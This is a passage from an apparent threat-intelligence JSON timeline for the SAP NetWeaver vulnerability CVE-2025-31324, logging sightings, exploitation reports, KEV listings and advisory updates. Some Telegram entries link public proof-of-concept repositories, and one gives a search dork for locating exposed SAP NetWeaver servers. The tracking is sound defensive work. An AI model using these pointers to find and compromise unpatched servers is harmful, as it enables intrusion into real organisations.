"https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjmxpb22d"}, {"timestamp": "2025-04-28T14:01:44.365Z", "date_only": false, "value": "2025-04-28T14:01:44.365552Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzilc2d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ce64dde1-83b6-4d76-8f15-b3c14eb8047d", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzilc2d"}, {"timestamp": "2025-04-28T14:01:45.394Z", "date_only": false, "value": "2025-04-28T14:01:45.394223Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzjkk2d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d0406659-6817-4648-934b-d0e9f691f957", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzjkk2d"}, {"timestamp": "2025-04-28T14:01:46.405Z", "date_only": false, "value": "2025-04-28T14:01:46.405027Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzjkl2d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "95d8bf87-ecf0-4b90-be74-5998c9474684", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzjkl2d"}, {"timestamp": "2025-04-28T14:01:47.429Z", "date_only": false, "value": "2025-04-28T14:01:47.429690Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzkjt2d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6a0588fc-275e-4796-a493-d8883298fada", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzkjt2d"}, {"timestamp": "2025-04-28T14:01:48.467Z", "date_only": false, "value": "2025-04-28T14:01:48.467044Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzlj32d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c07c9705-6d79-41de-8654-e3d7040d59df", "url": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjqzlj32d"}, {"timestamp": "2025-04-28T15:42:13.320Z", "date_only": false, "value": "2025-04-28T15:42:13.320267Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3lnv45jgdj52s", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "97bcb702-90e6-4a4f-a539-dd130992c00e", "url": "https://bsky.app/profile/cyberhub.blog/post/3lnv45jgdj52s"}, {"timestamp": "2025-04-28T15:45:18.518Z", "date_only": false, "value": "2025-04-28T15:45:18.518439Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cert-fr.bsky.social/post/3lnv4d3wdqk2r", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "aa26c7c0-5f9e-43b8-a92f-2ecda0abf931", "url": "https://bsky.app/profile/cert-fr.bsky.social/post/3lnv4d3wdqk2r"}, {"timestamp": "2025-04-28T15:45:44.933Z", "date_only": false, "value": "2025-04-28T15:45:44.933662Z", "kind": "sighting", "label": "Seen", "source": "https://social.numerique.gouv.fr/users/cert_fr/statuses/114416362646401517", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5ebcd2c7-8196-4182-a9eb-c5da4061f3e6", "url": "https://social.numerique.gouv.fr/users/cert_fr/statuses/114416362646401517"}, {"timestamp": "2025-04-28T16:55:33.463Z", "date_only": false, "value": "2025-04-28T16:55:33.463323Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/users/hrbrmstr/statuses/114416637211648278", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "27a33920-f41f-4b15-987c-3c7ac34e56a8", "url": "https://mastodon.social/users/hrbrmstr/statuses/114416637211648278"}, {"timestamp": "2025-04-28T16:56:18.480Z", "date_only": false, "value": "2025-04-28T16:56:18.480638Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/cR0w/statuses/114416640114734490", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "70830580-4f38-4727-be47-e38bf7558412", "url": "https://infosec.exchange/users/cR0w/statuses/114416640114734490"}, {"timestamp": "2025-04-28T16:59:32.757Z", "date_only": false, "value": "2025-04-28T16:59:32.757189Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lnvahtakru2q", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "b7fc5910-5ac3-4d42-890c-554fa5e4fa87", "url": "https://bsky.app/profile/nimblenerd.social/post/3lnvahtakru2q"}, {"timestamp": "2025-04-28T17:01:15.813Z", "date_only": false, "value": "2025-04-28T17:01:15.813201Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3lnvachuh5ts2", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4e526a1d-4762-44a8-a67e-e88631459180", "url": "https://bsky.app/profile/hrbrmstr.mastodon.social.ap.brid.gy/post/3lnvachuh5ts2"}, {"timestamp": "2025-04-28T18:57:16.069Z", "date_only": false, "value": "2025-04-28T18:57:16.069725Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/packetstorm.bsky.social/post/3lnvh2dxyft2i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "31101885-2c8f-4a38-a9c7-97497346514c", "url": "https://bsky.app/profile/packetstorm.bsky.social/post/3lnvh2dxyft2i"}, {"timestamp": "2025-04-28T19:26:28Z", "date_only": false, "value": "2025-04-28T19:26:28.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.darkreading.com/cyberattacks-data-breaches/sap-netweaver-visual-composer-flaw-active-exploitation", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2ce06eb5-7e6e-4437-a6fe-e5f69813d0bd", "url": "https://www.darkreading.com/cyberattacks-data-breaches/sap-netweaver-visual-composer-flaw-active-exploitation"}, {"timestamp": "2025-04-28T19:47:27Z", "date_only": false, "value": "2025-04-28T19:47:27.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cybersecplayground/187", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "68926cf3-ed57-49f9-b8fe-9db9d3f48ff2", "content": "\ud83d\udea8 Security Alert \ud83d\udea8\nCVE-2025-31324 (CVSS v3 Score: 10.0) \u2014 Critical SAP NetWeaver Zero-Day Vulnerability\n\n\ud83d\udd34 A critical Zero-Day vulnerability has been discovered affecting SAP NetWeaver platforms.\nAttackers are actively exploiting this flaw, leading to severe risks of remote code execution, privilege escalation, and full system compromise!\n\n\ud83d\udd25 PoC / Exploit Details:\n\u27a1\ufe0f ReliaQuest Threat Spotlight\n\n\ud83d\udd25 Nuclei Template:\n\u27a1\ufe0f Github\n\n\ud83d\udd0e Hunter Dork:\nproduct.name=\"SAP NetWeaver\"\n\ud83d\udc49 Hunter Link\n\n\ud83d\udcf0 More References:\nBleepingComputer\n\n\u26a0\ufe0fStay alert! Organizations using SAP must patch immediately and audit exposed instances to avoid major breaches.\n\nFollow @cybersecplayground for the latest CVE alerts, exploits, and cybersecurity news! \ud83d\ude80\n\ud83d\udd01 Like and Share to spread awareness!\n\n#SAP #hunterhow #infosec #infosecurity #OSINT #Vulnerability", "url": "https://t.me/cybersecplayground/187"}, {"timestamp": "2025-04-28T20:35:23Z", "date_only": false, "value": "2025-04-28T20:35:23.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/34563", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "77230089-4a70-4cfb-b1cb-a946b72c3f31", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2025-31324: Unauthenticated upload in SAP NetWeaver Visual Composer Metadata Uploader\nURL\uff1ahttps://github.com/ODST-Forge/CVE-2025-31324_PoC\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/34563"}, {"timestamp": "2025-04-28T21:26:28Z", "date_only": false, "value": "2025-04-28T21:26:28+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2025-31324", "field": "timestamps.asserted_at", "uuid": "c3fcd6e2-c34d-4216-a820-a1fa9c90d774", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-28T21:26:28Z", "date_only": false, "value": "2025-04-28T21:26:28.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2025-31324", "field": "evidence.0.details.added_date", "uuid": "c3fcd6e2-c34d-4216-a820-a1fa9c90d774", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-28T21:26:28Z", "date_only": false, "value": "2025-04-28T21:26:28+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2025-31324", "field": "timestamps.first_seen_at", "uuid": "c3fcd6e2-c34d-4216-a820-a1fa9c90d774", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-28T21:26:28Z", "date_only": false, "value": "2025-04-28T21:26:28+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2025-31324", "field": "status.status_updated_at", "uuid": "c3fcd6e2-c34d-4216-a820-a1fa9c90d774", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-28T21:47:34Z", "date_only": false, "value": "2025-04-28T21:47:34.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/FAizviLE_NWqS8B8aIi1dKeWFEWly6C8bvQ-pEgnfyCsX3I", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5339c6a0-c73c-41d4-ba9c-efecab96fe4f"}, {"timestamp": "2025-04-28T23:28:04.045Z", "date_only": false, "value": "2025-04-28T23:28:04.045620Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnvw6hvytc2y", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a0b056ac-7cde-4d01-a9c7-5eaca97e1d7c", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnvw6hvytc2y"}, {"timestamp": "2025-04-29T00:00:00Z", "date_only": false, "value": "2025-04-29T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2025-31324", "field": "timestamps.asserted_at", "uuid": "a7c9a8bd-dce5-46a9-9d37-b91ee38154f3", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-29T00:00:00Z", "date_only": true, "value": "2025-04-29", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "cve-2025-31324", "field": "containers.adp.0.metrics.1.other.content.dateAdded"}, {"timestamp": "2025-04-29T00:00:00Z", "date_only": true, "value": "2025-04-29", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2025-31324", "field": "evidence.0.details.date_added", "uuid": "a7c9a8bd-dce5-46a9-9d37-b91ee38154f3", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-29T00:00:00Z", "date_only": false, "value": "2025-04-29T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2025-31324", "field": "timestamps.first_seen_at", "uuid": "a7c9a8bd-dce5-46a9-9d37-b91ee38154f3", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-29T00:00:00Z", "date_only": false, "value": "2025-04-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-29)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "db0dc424-5dd6-4532-948b-0852a461631b"}, {"timestamp": "2025-04-29T00:00:00Z", "date_only": false, "value": "2025-04-29T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2025-31324", "field": "status.status_updated_at", "uuid": "a7c9a8bd-dce5-46a9-9d37-b91ee38154f3", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-29T00:00:00Z", "date_only": false, "value": "2025-04-29T00:00:00.000Z", "kind": "other", "label": "Time", "source": "cvelistv5 / CISA-ADP", "record": "cve-2025-31324", "field": "containers.adp.0.timeline.0.time"}, {"timestamp": "2025-04-29T00:05:07.630Z", "date_only": false, "value": "2025-04-29T00:05:07.630357Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lnvyatwxrq2f", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a2f9fca5-2ecd-4d15-9018-4b402777168b", "url": "https://bsky.app/profile/hackingne.ws/post/3lnvyatwxrq2f"}, {"timestamp": "2025-04-29T00:20:58Z", "date_only": false, "value": "2025-04-29T00:20:58.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/34580", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9b5b5dff-bacb-434a-86bb-e3a98c6a48c6", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aProof-of-Concept for CVE-2025-31324: Unauthenticated upload in SAP NetWeaver Visual Composer Metadata Uploader\nURL\uff1ahttps://github.com/abrewer251/CVE-2025-31324_PoC_SAP\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/34580"}, {"timestamp": "2025-04-29T02:15:35.280Z", "date_only": false, "value": "2025-04-29T02:15:35.280666Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lnw7k4t3fq24", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4f2c18a7-b958-4dac-9c5d-38b1e385a951", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lnw7k4t3fq24"}, {"timestamp": "2025-04-29T02:33:49.418Z", "date_only": false, "value": "2025-04-29T02:33:49.418743Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lnwakqedrs2x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ac306859-8735-4029-bd0c-33245a5c0c6c", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lnwakqedrs2x"}, {"timestamp": "2025-04-29T03:41:25.756Z", "date_only": false, "value": "2025-04-29T03:41:25.756115Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3lnwedmrecu2a", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6a5d3dde-af55-43ed-abe7-98489e268d57", "url": "https://bsky.app/profile/opsmatters.com/post/3lnwedmrecu2a"}, {"timestamp": "2025-04-29T04:26:01.202Z", "date_only": false, "value": "2025-04-29T04:26:01.202433Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3lnwgte5ref2u", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5d571bad-5cd2-478b-97cd-7b1e235af3f2", "url": "https://bsky.app/profile/opsmatters.com/post/3lnwgte5ref2u"}, {"timestamp": "2025-04-29T05:08:00.630Z", "date_only": false, "value": "2025-04-29T05:08:00.630070Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3lnwj6gnrab24", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "352131cb-5e57-42ac-ba0c-8c07148a707a", "url": "https://bsky.app/profile/redteamnews.bsky.social/post/3lnwj6gnrab24"}, {"timestamp": "2025-04-29T06:30:44.482Z", "date_only": false, "value": "2025-04-29T06:30:44.482700Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/test-cvp.bsky.social/post/3lnwnsenrui2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "76ec1ce8-fc7c-4b50-a514-44ffb637f500", "url": "https://bsky.app/profile/test-cvp.bsky.social/post/3lnwnsenrui2w"}, {"timestamp": "2025-04-29T07:42:13.288Z", "date_only": false, "value": "2025-04-29T07:42:13.288045Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3lnwrs6qjbo2j", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "5ebe05ac-79d1-44ad-9ca1-cf3943b7d5ee", "url": "https://bsky.app/profile/cyberhub.blog/post/3lnwrs6qjbo2j"}, {"timestamp": "2025-04-29T09:36:31.753Z", "date_only": false, "value": "2025-04-29T09:36:31.753567Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3lnwy6hukw22i", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "cecb51bb-c077-4ed3-880f-827884d704e6", "url": "https://bsky.app/profile/pvynckier.bsky.social/post/3lnwy6hukw22i"}, {"timestamp": "2025-04-29T11:02:19.332Z", "date_only": false, "value": "2025-04-29T11:02:19.332198Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lnx4xya4h72q", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1e5380d8-9b53-4479-a755-3c9be738c722", "url": "https://bsky.app/profile/nimblenerd.social/post/3lnx4xya4h72q"}, {"timestamp": "2025-04-29T11:06:29Z", "date_only": false, "value": "2025-04-29T11:06:29.000000Z", "kind": "sighting", "label": "Seen", "source": "https://threatintel.cc/2025/04/29/threat-actors-hacking-sap-critical.html", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8074367b-8390-48ff-8883-9aa29f80bb56", "url": "https://threatintel.cc/2025/04/29/threat-actors-hacking-sap-critical.html"}, {"timestamp": "2025-04-29T12:32:54.979Z", "date_only": false, "value": "2025-04-29T12:32:54.979618Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3lnxbzyqf5m2w", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "58daca2f-2bfc-4806-94f5-b91ddd8a4c48", "url": "https://bsky.app/profile/redteamnews.bsky.social/post/3lnxbzyqf5m2w"}, {"timestamp": "2025-04-29T13:00:07Z", "date_only": false, "value": "2025-04-29T13:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/VuRUu-_hR7R74eOPx36fHA29ubiAsTvJUkxBZB9FS5sqcH8", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c3e7acff-be40-458f-8437-7aeb19b440bb"}, {"timestamp": "2025-04-29T13:29:29Z", "date_only": false, "value": "2025-04-29T13:29:29.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/information_security_channel/53470", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "9530ba00-65a3-466e-9a66-1fd9e7e1d0be", "content": "Exploited Vulnerability Exposes Over 400 SAP NetWeaver Servers to Attacks\nhttps://www.securityweek.com/exploited-vulnerability-exposes-over-400-sap-netweaver-servers-to-attacks/\n\nMore than 400 SAP NetWeaver servers are impacted by CVE-2025-31324, an exploited remote code execution vulnerability.\nThe post Exploited Vulnerability Exposes Over 400 SAP NetWeaver Servers to Attacks (https://www.securityweek.com/exploited-vulnerability-exposes-over-400-sap-netweaver-servers-to-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "url": "https://t.me/information_security_channel/53470"}, {"timestamp": "2025-04-29T16:39:41Z", "date_only": false, "value": "2025-04-29T16:39:41.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CyberBulletin/10707", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "8aaf713f-02e7-4590-85d4-9ecc1fd963ec", "content": "\u26a1\ufe0fCVE-2025-31324, a new SAP zero-day, was exploited weeks before disclosure.\n\nAttackers could upload files without authentication, hijack full system access, and plant persistent web shells.\n\n#CyberBulletin", "url": "https://t.me/CyberBulletin/10707"}, {"timestamp": "2025-04-29T17:26:51Z", "date_only": false, "value": "2025-04-29T17:26:51.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/avishaifrad/bb97e41ee3c2bdb16c59a48d210d16c0", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4cba1887-a10c-4de1-8ca4-7bd0ba7e36d3", "url": "https://gist.github.com/avishaifrad/bb97e41ee3c2bdb16c59a48d210d16c0"}, {"timestamp": "2025-04-29T17:30:16.422Z", "date_only": false, "value": "2025-04-29T17:30:16.422961Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lnxsnpjvn22x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "beb08e6f-96ca-484b-8483-ae508650b38a", "url": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lnxsnpjvn22x"}, {"timestamp": "2025-04-29T18:36:31.358Z", "date_only": false, "value": "2025-04-29T18:36:31.358382Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/nimblenerd.social/post/3lnxwe5d7r52e", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "baacdf60-17c0-4591-9514-36538af83e6e", "url": "https://bsky.app/profile/nimblenerd.social/post/3lnxwe5d7r52e"}, {"timestamp": "2025-04-29T18:39:41Z", "date_only": false, "value": "2025-04-29T18:39:41.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/CyberBulletin/3144", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d5458ca7-7e5f-4c97-a978-ba8c1fef00d5", "content": "\u26a1\ufe0fCVE-2025-31324, a new SAP zero-day, was exploited weeks before disclosure.\n\nAttackers could upload files without authentication, hijack full system access, and plant persistent web shells.\n\n#CyberBulletin", "url": "https://t.me/CyberBulletin/3144"}, {"timestamp": "2025-04-29T19:36:41Z", "date_only": false, "value": "2025-04-29T19:36:41.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://gist.github.com/avishaifrad/f4e23a97156b1905a7ec8b962a9f2bc8", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d83cde39-d966-48ce-976a-9231c78a7ef6", "url": "https://gist.github.com/avishaifrad/f4e23a97156b1905a7ec8b962a9f2bc8"}, {"timestamp": "2025-04-29T19:42:27.581Z", "date_only": false, "value": "2025-04-29T19:42:27.581863Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnxzzxzh3s2u", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "da4e2f94-72ae-4ef9-8cc6-142770a8df5f", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnxzzxzh3s2u"}, {"timestamp": "2025-04-29T19:58:03.640Z", "date_only": false, "value": "2025-04-29T19:58:03.640219Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/3905315", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1bcd8257-7f1e-4474-8eae-9d1052d90356", "url": "https://feedsin.space/feed/CISAKevBot/items/3905315"}, {"timestamp": "2025-04-29T21:10:38.899Z", "date_only": false, "value": "2025-04-29T21:10:38.899720Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3lny6xpc3hp2y", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "44f4a9e7-5983-48bc-a21e-7d56f4caf02f", "url": "https://bsky.app/profile/kitafox.bsky.social/post/3lny6xpc3hp2y"}, {"timestamp": "2025-04-30T00:00:00Z", "date_only": false, "value": "2025-04-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-30)", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1031d6ad-8d24-4ea0-b28f-8974c766fded"}, {"timestamp": "2025-04-30T00:20:19.377Z", "date_only": false, "value": "2025-04-30T00:20:19.377212Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/youranonriots.bsky.social/post/3lnyjl3nszc2v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "1831b2f0-9348-404e-a95a-574c1a2c0314", "url": "https://bsky.app/profile/youranonriots.bsky.social/post/3lnyjl3nszc2v"}, {"timestamp": "2025-04-30T02:15:24.277Z", "date_only": false, "value": "2025-04-30T02:15:24.277500Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lnypyps63f2q", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "32405800-4bb1-4d4b-bdd5-e456704c0e3d", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lnypyps63f2q"}, {"timestamp": "2025-04-30T02:50:43.813Z", "date_only": false, "value": "2025-04-30T02:50:43.813429Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/opsmatters.com/post/3lnyrxv6aor2r", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "04a651e3-067d-4fb8-9070-800125555726", "url": "https://bsky.app/profile/opsmatters.com/post/3lnyrxv6aor2r"}, {"timestamp": "2025-04-30T03:06:31.859Z", "date_only": false, "value": "2025-04-30T03:06:31.859867Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnysu3ques2p", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "6e12e953-59e0-445e-b90c-a80e7b5541be", "url": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lnysu3ques2p"}, {"timestamp": "2025-04-30T06:04:42.880Z", "date_only": false, "value": "2025-04-30T06:04:42.880748Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lnz4sqjh6t2c", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "58132a3f-1af0-4c7b-a19f-3138b3c5b3d5", "url": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lnz4sqjh6t2c"}, {"timestamp": "2025-04-30T06:39:15Z", "date_only": false, "value": "2025-04-30T06:39:15.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/34777", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2123ac93-502c-40f6-b63d-4e5b02cb65ef", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aPython-based Burp Suite extension is designed to detect the presence of CVE-2025-31324\nURL\uff1ahttps://github.com/BlueOWL-overlord/Burp_CVE-2025-31324\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/34777"}, {"timestamp": "2025-04-30T09:10:24.325Z", "date_only": false, "value": "2025-04-30T09:10:24.325340Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/andranglin.bsky.social/post/3lnzh6mivvc27", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4a35e726-9ed7-4714-81f6-ac6ae86746b3", "url": "https://bsky.app/profile/andranglin.bsky.social/post/3lnzh6mivvc27"}, {"timestamp": "2025-04-30T11:10:24Z", "date_only": false, "value": "2025-04-30T11:10:24.000000Z", "kind": "sighting", "label": "Seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_10/2025", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "18f705a0-1627-499b-b461-71ddddadf920", "url": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_10/2025"}, {"timestamp": "2025-04-30T11:12:01.731Z", "date_only": false, "value": "2025-04-30T11:12:01.731927Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3lnznybrpmg2s", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "dce521af-5e8e-4b3d-b3bd-ec0c3b70696b", "url": "https://bsky.app/profile/redteamnews.bsky.social/post/3lnznybrpmg2s"}, {"timestamp": "2025-04-30T11:12:27Z", "date_only": false, "value": "2025-04-30T11:12:27.000000Z", "kind": "sighting", "label": "Seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0119", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "c035783f-0d1b-4448-98a5-4381a69d5f75", "url": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0119"}, {"timestamp": "2025-04-30T12:29:58.032Z", "date_only": false, "value": "2025-04-30T12:29:58.032182Z", "kind": "sighting", "label": "Seen", "source": "https://mstdn.ca/users/rfwaveio/statuses/114426917262916124", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "a21e5d22-2c14-4c0c-a4e9-fb34210455ef", "url": "https://mstdn.ca/users/rfwaveio/statuses/114426917262916124"}, {"timestamp": "2025-04-30T13:12:27.070Z", "date_only": false, "value": "2025-04-30T13:12:27.070565Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2025-0119", "record": "NCSC-2025-0119", "field": "document.tracking.revision_history.3.date"}, {"timestamp": "2025-04-30T13:12:27.070Z", "date_only": false, "value": "2025-04-30T13:12:27.070565Z", "kind": "other", "label": "Updated", "source": "csaf_ncscnl \u00b7 NCSC-2025-0119", "record": "NCSC-2025-0119", "field": "document.tracking.current_release_date"}, {"timestamp": "2025-04-30T14:17:03.312Z", "date_only": false, "value": "2025-04-30T14:17:03.312473Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/msittechnews.bsky.social/post/3lnzyd47di62d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "ea3d7ab5-7cf4-4bfc-a7ea-cb99d6f57456", "url": "https://bsky.app/profile/msittechnews.bsky.social/post/3lnzyd47di62d"}, 